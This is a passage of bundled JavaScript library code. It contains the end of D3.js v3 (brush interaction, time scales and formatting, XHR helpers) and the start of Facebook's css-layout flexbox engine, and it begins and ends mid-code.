} else center = null;
}
if (resizingX && move1(point, x, 0)) {
redrawX(g);
moved = true;
}
if (resizingY && move1(point, y, 1)) {
redrawY(g);
moved = true;
}
if (moved) {
redraw(g);
event_({
type: "brush",
mode: dragging ? "move" : "resize"
});
}
}
function move1(point, scale, i) {
var range = d3_scaleRange(scale), r0 = range[0], r1 = range[1], position = origin[i], extent = i ? yExtent : xExtent, size = extent[1] - extent[0], min, max;
if (dragging) {
r0 -= position;
r1 -= size + position;
}
min = (i ? yClamp : xClamp) ? Math.max(r0, Math.min(r1, point[i])) : point[i];
if (dragging) {
max = (min += position) + size;
} else {
if (center) position = Math.max(r0, Math.min(r1, 2 * center[i] - min));
if (position < min) {
max = min;
min = position;
} else {
max = position;
}
}
if (extent[0] != min || extent[1] != max) {
if (i) yExtentDomain = null; else xExtentDomain = null;
extent[0] = min;
extent[1] = max;
return true;
}
}
function brushend() {
brushmove();
g.style("pointer-events", "all").selectAll(".resize").style("display", brush.empty() ? "none" : null);
d3.select("body").style("cursor", null);
w.on("mousemove.brush", null).on("mouseup.brush", null).on("touchmove.brush", null).on("touchend.brush", null).on("keydown.brush", null).on("keyup.brush", null);
dragRestore();
event_({
type: "brushend"
});
}
}
brush.x = function(z) {
if (!arguments.length) return x;
x = z;
resizes = d3_svg_brushResizes[!x << 1 | !y];
return brush;
};
brush.y = function(z) {
if (!arguments.length) return y;
y = z;
resizes = d3_svg_brushResizes[!x << 1 | !y];
return brush;
};
brush.clamp = function(z) {
if (!arguments.length) return x && y ? [ xClamp, yClamp ] : x ? xClamp : y ? yClamp : null;
if (x && y) xClamp = !!z[0], yClamp = !!z[1]; else if (x) xClamp = !!z; else if (y) yClamp = !!z;
return brush;
};
brush.extent = function(z) {
var x0, x1, y0, y1, t;
if (!arguments.length) {
if (x) {
if (xExtentDomain) {
x0 = xExtentDomain[0], x1 = xExtentDomain[1];
} else {
x0 = xExtent[0], x1 = xExtent[1];
if (x.invert) x0 = x.invert(x0), x1 = x.invert(x1);
if (x1 < x0) t = x0, x0 = x1, x1 = t;
}
}
if (y) {
if (yExtentDomain) {
y0 = yExtentDomain[0], y1 = yExtentDomain[1];
} else {
y0 = yExtent[0], y1 = yExtent[1];
if (y.invert) y0 = y.invert(y0), y1 = y.invert(y1);
if (y1 < y0) t = y0, y0 = y1, y1 = t;
}
}
return x && y ? [ [ x0, y0 ], [ x1, y1 ] ] : x ? [ x0, x1 ] : y && [ y0, y1 ];
}
if (x) {
x0 = z[0], x1 = z[1];
if (y) x0 = x0[0], x1 = x1[0];
xExtentDomain = [ x0, x1 ];
if (x.invert) x0 = x(x0), x1 = x(x1);
if (x1 < x0) t = x0, x0 = x1, x1 = t;
if (x0 != xExtent[0] || x1 != xExtent[1]) xExtent = [ x0, x1 ];
}
if (y) {
y0 = z[0], y1 = z[1];
if (x) y0 = y0[1], y1 = y1[1];
yExtentDomain = [ y0, y1 ];
if (y.invert) y0 = y(y0), y1 = y(y1);
if (y1 < y0) t = y0, y0 = y1, y1 = t;
if (y0 != yExtent[0] || y1 != yExtent[1]) yExtent = [ y0, y1 ];
}
return brush;
};
brush.clear = function() {
if (!brush.empty()) {
xExtent = [ 0, 0 ], yExtent = [ 0, 0 ];
xExtentDomain = yExtentDomain = null;
}
return brush;
};
brush.empty = function() {
return !!x && xExtent[0] == xExtent[1] || !!y && yExtent[0] == yExtent[1];
};
return d3.rebind(brush, event, "on");
};
var d3_svg_brushCursor = {
n: "ns-resize",
e: "ew-resize",
s: "ns-resize",
w: "ew-resize",
nw: "nwse-resize",
ne: "nesw-resize",
se: "nwse-resize",
sw: "nesw-resize"
};
var d3_svg_brushResizes = [ [ "n", "e", "s", "w", "nw", "ne", "se", "sw" ], [ "e", "w" ], [ "n", "s" ], [] ];
var d3_time_format = d3_time.format = d3_locale_enUS.timeFormat;
var d3_time_formatUtc = d3_time_format.utc;
var d3_time_formatIso = d3_time_formatUtc("%Y-%m-%dT%H:%M:%S.%LZ");
d3_time_format.iso = Date.prototype.toISOString && +new Date("2000-01-01T00:00:00.000Z") ? d3_time_formatIsoNative : d3_time_formatIso;
function d3_time_formatIsoNative(date) {
return date.toISOString();
}
d3_time_formatIsoNative.parse = function(string) {
var date = new Date(string);
return isNaN(date) ? null : date;
};
d3_time_formatIsoNative.toString = d3_time_formatIso.toString;
d3_time.second = d3_time_interval(function(date) {
return new d3_date(Math.floor(date / 1e3) * 1e3);
}, function(date, offset) {
date.setTime(date.getTime() + Math.floor(offset) * 1e3);
}, function(date) {
return date.getSeconds();
});
d3_time.seconds = d3_time.second.range;
d3_time.seconds.utc = d3_time.second.utc.range;
d3_time.minute = d3_time_interval(function(date) {
return new d3_date(Math.floor(date / 6e4) * 6e4);
}, function(date, offset) {
date.setTime(date.getTime() + Math.floor(offset) * 6e4);
}, function(date) {
return date.getMinutes();
});
d3_time.minutes = d3_time.minute.range;
d3_time.minutes.utc = d3_time.minute.utc.range;
d3_time.hour = d3_time_interval(function(date) {
var timezone = date.getTimezoneOffset() / 60;
return new d3_date((Math.floor(date / 36e5 - timezone) + timezone) * 36e5);
}, function(date, offset) {
date.setTime(date.getTime() + Math.floor(offset) * 36e5);
}, function(date) {
return date.getHours();
});
d3_time.hours = d3_time.hour.range;
d3_time.hours.utc = d3_time.hour.utc.range;
d3_time.month = d3_time_interval(function(date) {
date = d3_time.day(date);
date.setDate(1);
return date;
}, function(date, offset) {
date.setMonth(date.getMonth() + offset);
}, function(date) {
return date.getMonth();
});
d3_time.months = d3_time.month.range;
d3_time.months.utc = d3_time.month.utc.range;
function d3_time_scale(linear, methods, format) {
function scale(x) {
return linear(x);
}
scale.invert = function(x) {
return d3_time_scaleDate(linear.invert(x));
};
scale.domain = function(x) {
if (!arguments.length) return linear.domain().map(d3_time_scaleDate);
linear.domain(x);
return scale;
};
function tickMethod(extent, count) {
var span = extent[1] - extent[0], target = span / count, i = d3.bisect(d3_time_scaleSteps, target);
return i == d3_time_scaleSteps.length ? [ methods.year, d3_scale_linearTickRange(extent.map(function(d) {
return d / 31536e6;
}), count)[2] ] : !i ? [ d3_time_scaleMilliseconds, d3_scale_linearTickRange(extent, count)[2] ] : methods[target / d3_time_scaleSteps[i - 1] < d3_time_scaleSteps[i] / target ? i - 1 : i];
}
scale.nice = function(interval, skip) {
var domain = scale.domain(), extent = d3_scaleExtent(domain), method = interval == null ? tickMethod(extent, 10) : typeof interval === "number" && tickMethod(extent, interval);
if (method) interval = method[0], skip = method[1];
function skipped(date) {
return !isNaN(date) && !interval.range(date, d3_time_scaleDate(+date + 1), skip).length;
}
return scale.domain(d3_scale_nice(domain, skip > 1 ? {
floor: function(date) {
while (skipped(date = interval.floor(date))) date = d3_time_scaleDate(date - 1);
return date;
},
ceil: function(date) {
while (skipped(date = interval.ceil(date))) date = d3_time_scaleDate(+date + 1);
return date;
}
} : interval));
};
scale.ticks = function(interval, skip) {
var extent = d3_scaleExtent(scale.domain()), method = interval == null ? tickMethod(extent, 10) : typeof interval === "number" ? tickMethod(extent, interval) : !interval.range && [ {
range: interval
}, skip ];
if (method) interval = method[0], skip = method[1];
return interval.range(extent[0], d3_time_scaleDate(+extent[1] + 1), skip < 1 ? 1 : skip);
};
scale.tickFormat = function() {
return format;
};
scale.copy = function() {
return d3_time_scale(linear.copy(), methods, format);
};
return d3_scale_linearRebind(scale, linear);
}
function d3_time_scaleDate(t) {
return new Date(t);
}
var d3_time_scaleSteps = [ 1e3, 5e3, 15e3, 3e4, 6e4, 3e5, 9e5, 18e5, 36e5, 108e5, 216e5, 432e5, 864e5, 1728e5, 6048e5, 2592e6, 7776e6, 31536e6 ];
var d3_time_scaleLocalMethods = [ [ d3_time.second, 1 ], [ d3_time.second, 5 ], [ d3_time.second, 15 ], [ d3_time.second, 30 ], [ d3_time.minute, 1 ], [ d3_time.minute, 5 ], [ d3_time.minute, 15 ], [ d3_time.minute, 30 ], [ d3_time.hour, 1 ], [ d3_time.hour, 3 ], [ d3_time.hour, 6 ], [ d3_time.hour, 12 ], [ d3_time.day, 1 ], [ d3_time.day, 2 ], [ d3_time.week, 1 ], [ d3_time.month, 1 ], [ d3_time.month, 3 ], [ d3_time.year, 1 ] ];
var d3_time_scaleLocalFormat = d3_time_format.multi([ [ ".%L", function(d) {
return d.getMilliseconds();
} ], [ ":%S", function(d) {
return d.getSeconds();
} ], [ "%I:%M", function(d) {
return d.getMinutes();
} ], [ "%I %p", function(d) {
return d.getHours();
} ], [ "%a %d", function(d) {
return d.getDay() && d.getDate() != 1;
} ], [ "%b %d", function(d) {
return d.getDate() != 1;
} ], [ "%B", function(d) {
return d.getMonth();
} ], [ "%Y", d3_true ] ]);
var d3_time_scaleMilliseconds = {
range: function(start, stop, step) {
return d3.range(Math.ceil(start / step) * step, +stop, step).map(d3_time_scaleDate);
},
floor: d3_identity,
ceil: d3_identity
};
d3_time_scaleLocalMethods.year = d3_time.year;
d3_time.scale = function() {
return d3_time_scale(d3.scale.linear(), d3_time_scaleLocalMethods, d3_time_scaleLocalFormat);
};
var d3_time_scaleUtcMethods = d3_time_scaleLocalMethods.map(function(m) {
return [ m[0].utc, m[1] ];
});
var d3_time_scaleUtcFormat = d3_time_formatUtc.multi([ [ ".%L", function(d) {
return d.getUTCMilliseconds();
} ], [ ":%S", function(d) {
return d.getUTCSeconds();
} ], [ "%I:%M", function(d) {
return d.getUTCMinutes();
} ], [ "%I %p", function(d) {
return d.getUTCHours();
} ], [ "%a %d", function(d) {
return d.getUTCDay() && d.getUTCDate() != 1;
} ], [ "%b %d", function(d) {
return d.getUTCDate() != 1;
} ], [ "%B", function(d) {
return d.getUTCMonth();
} ], [ "%Y", d3_true ] ]);
d3_time_scaleUtcMethods.year = d3_time.year.utc;
d3_time.scale.utc = function() {
return d3_time_scale(d3.scale.linear(), d3_time_scaleUtcMethods, d3_time_scaleUtcFormat);
};
d3.text = d3_xhrType(function(request) {
return request.responseText;
});
d3.json = function(url, callback) {
return d3_xhr(url, "application/json", d3_json, callback);
};
function d3_json(request) {
return JSON.parse(request.responseText);
}
d3.html = function(url, callback) {
return d3_xhr(url, "text/html", d3_html, callback);
};
function d3_html(request) {
var range = d3_document.createRange();
range.selectNode(d3_document.body);
return range.createContextualFragment(request.responseText);
}
d3.xml = d3_xhrType(function(request) {
return request.responseXML;
});
if (typeof define === "function" && define.amd) this.d3 = d3, define(d3); else if (typeof module === "object" && module.exports) module.exports = d3; else this.d3 = d3;
}();
// UMD (Universal Module Definition)
// See https://github.com/umdjs/umd for reference
//
// This file uses the following specific UMD implementation:
// https://github.com/umdjs/umd/blob/master/returnExports.js
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define([], factory);
} else if (typeof exports === 'object') {
// Node. Does not work with strict CommonJS, but
// only CommonJS-like environments that support module.exports,
// like Node.
module.exports = factory();
} else {
// Browser globals (root is window)
root.computeLayout = factory();
}
}(this, function() {
/**
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
var computeLayout = (function() {
var CSS_UNDEFINED;
var CSS_DIRECTION_INHERIT = 'inherit';
var CSS_DIRECTION_LTR = 'ltr';
var CSS_DIRECTION_RTL = 'rtl';
var CSS_FLEX_DIRECTION_ROW = 'row';
var CSS_FLEX_DIRECTION_ROW_REVERSE = 'row-reverse';
var CSS_FLEX_DIRECTION_COLUMN = 'column';
var CSS_FLEX_DIRECTION_COLUMN_REVERSE = 'column-reverse';
var CSS_JUSTIFY_FLEX_START = 'flex-start';
var CSS_JUSTIFY_CENTER = 'center';
var CSS_JUSTIFY_FLEX_END = 'flex-end';
var CSS_JUSTIFY_SPACE_BETWEEN = 'space-between';
var CSS_JUSTIFY_SPACE_AROUND = 'space-around';
var CSS_ALIGN_FLEX_START = 'flex-start';
var CSS_ALIGN_CENTER = 'center';
var CSS_ALIGN_FLEX_END = 'flex-end';
var CSS_ALIGN_STRETCH = 'stretch';
var CSS_POSITION_RELATIVE = 'relative';
var CSS_POSITION_ABSOLUTE = 'absolute';
var leading = {
'row': 'left',
'row-reverse': 'right',
'column': 'top',
'column-reverse': 'bottom'
};
var trailing = {
'row': 'right',
'row-reverse': 'left',
'column': 'bottom',
'column-reverse': 'top'
};
var pos = {
'row': 'left',
'row-reverse': 'right',
'column': 'top',
'column-reverse': 'bottom'
};
var dim = {
'row': 'width',
'row-reverse': 'width',
'column': 'height',
'column-reverse': 'height'
};
// When transpiled to Java / C the node type has layout, children and style
// properties. For the JavaScript version this function adds these properties
// if they don't already exist.
function fillNodes(node) {
if (!node.layout || node.isDirty) {
node.layout = {
width: undefined,
height: undefined,
top: 0,
left: 0,
right: 0,
bottom: 0
};
}
if (!node.style) {
node.style = {};
}
if (!node.children) {
node.children = [];
}
node.children.forEach(fillNodes);
return node;
}
function isUndefined(value) {
return value === undefined;
}
function isRowDirection(flexDirection) {
return flexDirection === CSS_FLEX_DIRECTION_ROW ||
flexDirection === CSS_FLEX_DIRECTION_ROW_REVERSE;
}
function isColumnDirection(flexDirection) {
return flexDirection === CSS_FLEX_DIRECTION_COLUMN ||
flexDirection === CSS_FLEX_DIRECTION_COLUMN_REVERSE;
}
function getLeadingMargin(node, axis) {
if (node.style.marginStart !== undefined && isRowDirection(axis)) {
return node.style.marginStart;
}
var value = null;
switch (axis) {
case 'row': value = node.style.marginLeft; break;
case 'row-reverse': value = node.style.marginRight; break;
case 'column': value = node.style.marginTop; break;
case 'column-reverse': value = node.style.marginBottom; break;
}
if (value !== undefined) {
return value;
}
if (node.style.margin !== undefined) {
return node.style.margin;
}
return 0;
}
function getTrailingMargin(node, axis) {
if (node.style.marginEnd !== undefined && isRowDirection(axis)) {
return node.style.marginEnd;
}
var value = null;
switch (axis) {
case 'row': value = node.style.marginRight; break;
case 'row-reverse': value = node.style.marginLeft; break;
case 'column': value = node.style.marginBottom; break;
case 'column-reverse': value = node.style.marginTop; break;
}
if (value != null) {
return value;
}
if (node.style.margin !== undefined) {
return node.style.margin;
}
return 0;
}
function getLeadingPadding(node, axis) {
if (node.style.paddingStart !== undefined && node.style.paddingStart >= 0
&& isRowDirection(axis)) {
return node.style.paddingStart;
}
var value = null;
switch (axis) {
case 'row': value = node.style.paddingLeft; break;
case 'row-reverse': value = node.style.paddingRight; break;
case 'column': value = node.style.paddingTop; break;
case 'column-reverse': value = node.style.paddingBottom; break;
}
if (value != null && value >= 0) {
return value;
}
if (node.style.padding !== undefined && node.style.padding >= 0) {
return node.style.padding;
}
return 0;
}
function getTrailingPadding(node, axis) {
if (node.style.paddingEnd !== undefined && node.style.paddingEnd >= 0
&& isRowDirection(axis)) {
return node.style.paddingEnd;
}
var value = null;
switch (axis) {
case 'row': value = node.style.paddingRight; break;
case 'row-reverse': value = node.style.paddingLeft; break;
case 'column': value = node.style.paddingBottom; break;
case 'column-reverse': value = node.style.paddingTop; break;
}
if (value != null && value >= 0) {
return value;
}
if (node.style.padding !== undefined && node.style.padding >= 0) {
return node.style.padding;
}
return 0;
}
function getLeadingBorder(node, axis) {
if (node.style.borderStartWidth !== undefined && node.style.borderStartWidth >= 0
&& isRowDirection(axis)) {
return node.style.borderStartWidth;
}
var value = null;
switch (axis) {
case 'row': value = node.style.borderLeftWidth; break;
case 'row-reverse': value = node.style.borderRightWidth; break;
case 'column': value = node.style.borderTopWidth; break;
case 'column-reverse': value = node.style.borderBottomWidth; break;
}
if (value != null && value >= 0) {
return value;
}
if (node.style.borderWidth !== undefined && node.style.borderWidth >= 0) {
return node.style.borderWidth;
}
return 0;
}
function getTrailingBorder(node, axis) {
if (node.style.borderEndWidth !== undefined && node.style.borderEndWidth >= 0
&& isRowDirection(axis)) {
return node.style.borderEndWidth;
}
var value = null;
switch (axis) {
case 'row': value = node.style.borderRightWidth; break;
case 'row-reverse': value = node.style.borderLeftWidth; break;
case 'column': value = node.style.borderBottomWidth; break;
case 'column-reverse': value = node.style.borderTopWidth; break;
}
if (value != null && value >= 0) {
return value;
}
if (node.style.borderWidth !== undefined && node.style.borderWidth >= 0) {
return node.style.borderWidth;
}
return 0;
}
function getLeadingPaddingAndBorder(node, axis) {
return getLeadingPadding(node, axis) + getLeadingBorder(node, axis);
}
function getTrailingPaddingAndBorder(node, axis) {
return getTrailingPadding(node, axis) + getTrailingBorder(node, axis);
}
function getBorderAxis(node, axis) {
return getLeadingBorder(node, axis) + getTrailingBorder(node, axis);
}
function getMarginAxis(node, axis) {
return getLeadingMargin(node, axis) + getTrailingMargin(node, axis);
}
function getPaddingAndBorderAxis(node, axis) {
return getLeadingPaddingAndBorder(node, axis) +
getTrailingPaddingAndBorder(node, axis);
}
function getJustifyContent(node) {
if (node.style.justifyContent) {
return node.style.justifyContent;
}
return 'flex-start';
}
function getAlignContent(node) {
if (node.style.alignContent) {
return node.style.alignContent;
}
return 'flex-start';
}
function getAlignItem(node, child) {
if (child.style.alignSelf) {
return child.style.alignSelf;
}
if (node.style.alignItems) {
return node.style.alignItems;
}
return 'stretch';
}
function resolveAxis(axis, direction) {
if (direction === CSS_DIRECTION_RTL) {
if (axis === CSS_FLEX_DIRECTION_ROW) {
return CSS_FLEX_DIRECTION_ROW_REVERSE;
} else if (axis === CSS_FLEX_DIRECTION_ROW_REVERSE) {
return CSS_FLEX_DIRECTION_ROW;
}
}
return axis;
}
function resolveDirection(node, parentDirection) {
var direction;
if (node.style.direction) {
direction = node.style.direction;
} else {
direction = CSS_DIRECTION_INHERIT;
}
if (direction === CSS_DIRECTION_INHERIT) {
direction = (parentDirection === undefined ? CSS_DIRECTION_LTR : parentDirection);
}
return direction;
}
function getFlexDirection(node) {
if (node.style.flexDirection) {
return node.style.flexDirection;
}
return CSS_FLEX_DIRECTION_COLUMN;
}
function getCrossFlexDirection(flexDirection, direction) {
if (isColumnDirection(flexDirection)) {
return resolveAxis(CSS_FLEX_DIRECTION_ROW, direction);
} else {
return CSS_FLEX_DIRECTION_COLUMN;
}
}
function getPositionType(node) {
if (node.style.position) {
return node.style.position;
}
return 'relative';
}
function isFlex(node) {
return (
getPositionType(node) === CSS_POSITION_RELATIVE &&
node.style.flex > 0
);
}
function isFlexWrap(node) {
return node.style.flexWrap === 'wrap';
}
function getDimWithMargin(node, axis) {
return node.layout[dim[axis]] + getMarginAxis(node, axis);
}
function isDimDefined(node, axis) {
return node.style[dim[axis]] !== undefined && node.style[dim[axis]] >= 0;
}
function isPosDefined(node, pos) {
return node.style[pos] !== undefined;
}
function isMeasureDefined(node) {
return node.style.measure !== undefined;
}
function getPosition(node, pos) {
if (node.style[pos] !== undefined) {
return node.style[pos];
}
return 0;
}
function boundAxis(node, axis, value) {
var min = {
'row': node.style.minWidth,
'row-reverse': node.style.minWidth,
'column': node.style.minHeight,
'column-reverse': node.style.minHeight
}[axis];
var max = {
'row': node.style.maxWidth,
'row-reverse': node.style.maxWidth,
'column': node.style.maxHeight,
'column-reverse': node.style.maxHeight
}[axis];
var boundValue = value;
if (max !== undefined && max >= 0 && boundValue > max) {
boundValue = max;
}
if (min !== undefined && min >= 0 && boundValue < min) {
boundValue = min;
}
return boundValue;
}
function fmaxf(a, b) {
if (a > b) {
return a;
}
return b;
}
// When the user specifically sets a value for width or height
function setDimensionFromStyle(node, axis) {
// The parent already computed us a width or height. We just skip it
if (node.layout[dim[axis]] !== undefined) {
return;
}
// We only run if there's a width or height defined
if (!isDimDefined(node, axis)) {
return;
}
// The dimensions can never be smaller than the padding and border
node.layout[dim[axis]] = fmaxf(
boundAxis(node, axis, node.style[dim[axis]]),
getPaddingAndBorderAxis(node, axis)
);
}
function setTrailingPosition(node, child, axis) {
child.layout[trailing[axis]] = node.layout[dim[axis]] -
child.layout[dim[axis]] - child.layout[pos[axis]];
}
// If both left and right are defined, then use left. Otherwise return
// +left or -right depending on which is defined.
function getRelativePosition(node, axis) {
if (node.style[leading[axis]] !== undefined) {
return getPosition(node, leading[axis]);
}
return -getPosition(node, trailing[axis]);
}
function layoutNodeImpl(node, parentMaxWidth, /*css_direction_t*/parentDirection) {
var/*css_direction_t*/ direction = resolveDirection(node, parentDirection);
var/*(c)!css_flex_direction_t*//*(java)!int*/ mainAxis = resolveAxis(getFlexDirection(node), direction);
var/*(c)!css_flex_direction_t*//*(java)!int*/ crossAxis = getCrossFlexDirection(mainAxis, direction);
var/*(c)!css_flex_direction_t*//*(java)!int*/ resolvedRowAxis = resolveAxis(CSS_FLEX_DIRECTION_ROW, direction);
// Handle width and height style attributes
setDimensionFromStyle(node, mainAxis);
setDimensionFromStyle(node, crossAxis);
// Set the resolved resolution in the node's layout
node.layout.direction = direction;
// The position is set by the parent, but we need to complete it with a
// delta composed of the margin and left/top/right/bottom
node.layout[leading[mainAxis]] += getLeadingMargin(node, mainAxis) +
getRelativePosition(node, mainAxis);
node.layout[trailing[mainAxis]] += getTrailingMargin(node, mainAxis) +
getRelativePosition(node, mainAxis);
node.layout[leading[crossAxis]] += getLeadingMargin(node, crossAxis) +
getRelativePosition(node, crossAxis);
node.layout[trailing[crossAxis]] += getTrailingMargin(node, crossAxis) +
getRelativePosition(node, crossAxis);
// Inline immutable values from the target node to avoid excessive method
// invocations during the layout calculation.
var/*int*/ childCount = node.children.length;
var/*float*/ paddingAndBorderAxisResolvedRow = getPaddingAndBorderAxis(node, resolvedRowAxis);
if (isMeasureDefined(node)) {
var/*bool*/ isResolvedRowDimDefined = !isUndefined(node.layout[dim[resolvedRowAxis]]);
var/*float*/ width = CSS_UNDEFINED;
if (isDimDefined(node, resolvedRowAxis)) {
width = node.style.width;
} else if (isResolvedRowDimDefined) {
width = node.layout[dim[resolvedRowAxis]];
} else {
width = parentMaxWidth -
getMarginAxis(node, resolvedRowAxis);
}
width -= paddingAndBorderAxisResolvedRow;
// We only need to give a dimension for the text if we haven't got any
// for it computed yet. It can either be from the style attribute or because
// the element is flexible.
var/*bool*/ isRowUndefined = !isDimDefined(node, resolvedRowAxis) && !isResolvedRowDimDefined;
var/*bool*/ isColumnUndefined = !isDimDefined(node, CSS_FLEX_DIRECTION_COLUMN) &&
isUndefined(node.layout[dim[CSS_FLEX_DIRECTION_COLUMN]]);
// Let's not measure the text if we already know both dimensions
if (isRowUndefined || isColumnUndefined) {
var/*css_dim_t*/ measureDim = node.style.measure(
/*(c)!node->context,*/
/*(java)!layoutContext.measureOutput,*/
width
);
if (isRowUndefined) {
node.layout.width = measureDim.width +
paddingAndBorderAxisResolvedRow;
}
if (isColumnUndefined) {
node.layout.height = measureDim.height +
getPaddingAndBorderAxis(node, CSS_FLEX_DIRECTION_COLUMN);
}
}
if (childCount === 0) {
return;
}
}
var/*bool*/ isNodeFlexWrap = isFlexWrap(node);
var/*css_justify_t*/ justifyContent = getJustifyContent(node);
var/*float*/ leadingPaddingAndBorderMain = getLeadingPaddingAndBorder(node, mainAxis);
var/*float*/ leadingPaddingAndBorderCross = getLeadingPaddingAndBorder(node, crossAxis);
var/*float*/ paddingAndBorderAxisMain = getPaddingAndBorderAxis(node, mainAxis);
var/*float*/ paddingAndBorderAxisCross = getPaddingAndBorderAxis(node, crossAxis);
var/*bool*/ isMainDimDefined = !isUndefined(node.layout[dim[mainAxis]]);
var/*bool*/ isCrossDimDefined = !isUndefined(node.layout[dim[crossAxis]]);
var/*bool*/ isMainRowDirection = isRowDirection(mainAxis);
var/*int*/ i;
var/*int*/ ii;
var/*css_node_t**/ child;
var/*(c)!css_flex_direction_t*//*(java)!int*/ axis;
var/*css_node_t**/ firstAbsoluteChild = null;
var/*css_node_t**/ currentAbsoluteChild = null;
var/*float*/ definedMainDim = CSS_UNDEFINED;
if (isMainDimDefined) {
definedMainDim = node.layout[dim[mainAxis]] - paddingAndBorderAxisMain;
}
// We want to execute the next two loops one per line with flex-wrap
var/*int*/ startLine = 0;
var/*int*/ endLine = 0;
// var/*int*/ nextOffset = 0;
var/*int*/ alreadyComputedNextLayout = 0;
// We aggregate the total dimensions of the container in those two variables
var/*float*/ linesCrossDim = 0;
var/*float*/ linesMainDim = 0;
var/*int*/ linesCount = 0;
while (endLine < childCount) {
// <Loop A> Layout non flexible children and count children by type
// mainContentDim is accumulation of the dimensions and margin of all the
// non flexible children. This will be used in order to either set the
// dimensions of the node if none already exist, or to compute the
// remaining space left for the flexible children.
var/*float*/ mainContentDim = 0;
// There are three kind of children, non flexible, flexible and absolute.
// We need to know how many there are in order to distribute the space.
var/*int*/ flexibleChildrenCount = 0;
var/*float*/ totalFlexible = 0;
var/*int*/ nonFlexibleChildrenCount = 0;
// Use the line loop to position children in the main axis for as long
// as they are using a simple stacking behaviour. Children that are
// immediately stacked in the initial loop will not be touched again
// in <Loop C>.
var/*bool*/ isSimpleStackMain =
(isMainDimDefined && justifyContent === CSS_JUSTIFY_FLEX_START) ||
(!isMainDimDefined && justifyContent !== CSS_JUSTIFY_CENTER);
var/*int*/ firstComplexMain = (isSimpleStackMain ? childCount : startLine);
// Use the initial line loop to position children in the cross axis for
// as long as they are relatively positioned with alignment STRETCH or
// FLEX_START. Children that are immediately stacked in the initial loop
// will not be touched again in <Loop D>.
var/*bool*/ isSimpleStackCross = true;
var/*int*/ firstComplexCross = childCount;
var/*css_node_t**/ firstFlexChild = null;
var/*css_node_t**/ currentFlexChild = null;
var/*float*/ mainDim = leadingPaddingAndBorderMain;
var/*float*/ crossDim = 0;
var/*float*/ maxWidth;
for (i = startLine; i < childCount; ++i) {
child = node.children[i];
child.lineIndex = linesCount;
child.nextAbsoluteChild = null;
child.nextFlexChild = null;
var/*css_align_t*/ alignItem = getAlignItem(node, child);
// Pre-fill cross axis dimensions when the child is using stretch before
// we call the recursive layout pass
if (alignItem === CSS_ALIGN_STRETCH &&
getPositionType(child) === CSS_POSITION_RELATIVE &&
isCrossDimDefined &&
!isDimDefined(child, crossAxis)) {
child.layout[dim[crossAxis]] = fmaxf(
boundAxis(child, crossAxis, node.layout[dim[crossAxis]] -
paddingAndBorderAxisCross - getMarginAxis(child, crossAxis)),
// You never want to go smaller than padding
getPaddingAndBorderAxis(child, crossAxis)
);
} else if (getPositionType(child) === CSS_POSITION_ABSOLUTE) {
// Store a private linked list of absolutely positioned children
// so that we can efficiently traverse them later.
if (firstAbsoluteChild === null) {
firstAbsoluteChild = child;
}
if (currentAbsoluteChild !== null) {
currentAbsoluteChild.nextAbsoluteChild = child;
}
currentAbsoluteChild = child;
// Pre-fill dimensions when using absolute position and both offsets for the axis are defined (either both
// left and right or top and bottom).
for (ii = 0; ii < 2; ii++) {
axis = (ii !== 0) ? CSS_FLEX_DIRECTION_ROW : CSS_FLEX_DIRECTION_COLUMN;
if (!isUndefined(node.layout[dim[axis]]) &&
!isDimDefined(child, axis) &&
isPosDefined(child, leading[axis]) &&
isPosDefined(child, trailing[axis])) {
child.layout[dim[axis]] = fmaxf(
boundAxis(child, axis, node.layout[dim[axis]] -
getPaddingAndBorderAxis(node, axis) -
getMarginAxis(child, axis) -
getPosition(child, leading[axis]) -
getPosition(child, trailing[axis])),
// You never want to go smaller than padding
getPaddingAndBorderAxis(child, axis)
);
}
}
}
var/*float*/ nextContentDim = 0;
// It only makes sense to consider a child flexible if we have a computed
// dimension for the node.
if (isMainDimDefined && isFlex(child)) {
flexibleChildrenCount++;
totalFlexible += child.style.flex;
// Store a private linked list of flexible children so that we can
// efficiently traverse them later.
if (firstFlexChild === null) {
firstFlexChild = child;
}
if (currentFlexChild !== null) {
currentFlexChild.nextFlexChild = child;
}
currentFlexChild = child;
// Even if we don't know its exact size yet, we already know the padding,
// border and margin. We'll use this partial information, which represents
// the smallest possible size for the child, to compute the remaining
// available space.
nextContentDim = getPaddingAndBorderAxis(child, mainAxis) +
getMarginAxis(child, mainAxis);
} else {
maxWidth = CSS_UNDEFINED;
if (!isMainRowDirection) {
if (isDimDefined(node, resolvedRowAxis)) {
maxWidth = node.layout[dim[resolvedRowAxis]] -
paddingAndBorderAxisResolvedRow;
} else {
maxWidth = parentMaxWidth -
getMarginAxis(node, resolvedRowAxis) -
paddingAndBorderAxisResolvedRow;
}
}
// This is the main recursive call. We layout non flexible children.
if (alreadyComputedNextLayout === 0) {
layoutNode(/*(java)!layoutContext, */child, maxWidth, direction);
}
// Absolute positioned elements do not take part of the layout, so we
// don't use them to compute mainContentDim
if (getPositionType(child) === CSS_POSITION_RELATIVE) {
nonFlexibleChildrenCount++;
// At this point we know the final size and margin of the element.
nextContentDim = getDimWithMargin(child, mainAxis);
}
}
// The element we are about to add would make us go to the next line
if (isNodeFlexWrap &&
isMainDimDefined &&
mainContentDim + nextContentDim > definedMainDim &&
// If there's only one element, then it's bigger than the content
// and needs its own line
i !== startLine) {
nonFlexibleChildrenCount--;
alreadyComputedNextLayout = 1;
break;
}
// Disable simple stacking in the main axis for the current line as
// we found a non-trivial child. The remaining children will be laid out
// in <Loop C>.
if (isSimpleStackMain &&
(getPositionType(child) !== CSS_POSITION_RELATIVE || isFlex(child))) {
isSimpleStackMain = false;
firstComplexMain = i;
}
// Disable simple stacking in the cross axis for the current line as
// we found a non-trivial child. The remaining children will be laid out
// in <Loop D>.
if (isSimpleStackCross &&
(getPositionType(child) !== CSS_POSITION_RELATIVE ||
(alignItem !== CSS_ALIGN_STRETCH && alignItem !== CSS_ALIGN_FLEX_START) ||
isUndefined(child.layout[dim[crossAxis]]))) {
isSimpleStackCross = false;
firstComplexCross = i;
}
if (isSimpleStackMain) {
child.layout[pos[mainAxis]] += mainDim;
if (isMainDimDefined) {
setTrailingPosition(node, child, mainAxis);
}
mainDim += getDimWithMargin(child, mainAxis);
crossDim = fmaxf(crossDim, boundAxis(child, crossAxis, getDimWithMargin(child, crossAxis)));
}
if (isSimpleStackCross) {
